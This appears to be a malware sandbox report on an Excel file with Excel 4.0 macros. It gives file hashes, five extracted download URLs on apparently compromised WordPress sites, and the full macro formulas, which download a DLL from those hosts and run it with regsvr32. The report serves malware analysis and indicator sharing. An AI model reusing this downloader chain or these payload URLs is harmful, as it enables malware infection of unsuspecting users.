General
-
Target
adb5f6c930dda46a88011caab1a3188ce3084aa0d5c4940e2218154d656b6865
-
Size
95KB
-
MD5
9eea9a8014a4e3311490daac505ac5a0
-
SHA1
bcc3d34b9c88aae8488535443a4c2792a048a5dc
-
SHA256
adb5f6c930dda46a88011caab1a3188ce3084aa0d5c4940e2218154d656b6865
-
SHA512
15a401f7b95439dbfae8e3fb659be9e9fd5529a007e75a4f60f46123465a7fefcf0dc2bdd6e583e1accc90de215c47714890636f8d12fe40e53acaa8fa8cf7db
-
SSDEEP
1536:gQxfGWXG8v5MB5Dg8cVoioFh+fYFl69oXiZ5bcvJlqGiwIWx1BcVXzAyVFfw:g2318DsVhonV69o2bchgGaWBcpA+fw
Malware Config
Extracted
https://ashirvadgroup.com/wp-admin/LtoH5AWneDBZIV2D/
https://patriciamirapsicologa.com/wp-includes/fVVa9DXB/
https://forfreeiptv.com/wp-admin/s5Oxoskqv8/
https://dehraduncabs.com/wp-includes/9xqp/
https://imprecof.com/i/QPWeAg0C1hh/
-
formulas
=FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ashirvadgroup.com/wp-admin/LtoH5AWneDBZIV2D/","..\dw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://patriciamirapsicologa.com/wp-includes/fVVa9DXB/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://forfreeiptv.com/wp-admin/s5Oxoskqv8/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dehraduncabs.com/wp-includes/9xqp/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://imprecof.com/i/QPWeAg0C1hh/","..\dw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\dw1.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
adb5f6c930dda46a88011caab1a3188ce3084aa0d5c4940e2218154d656b6865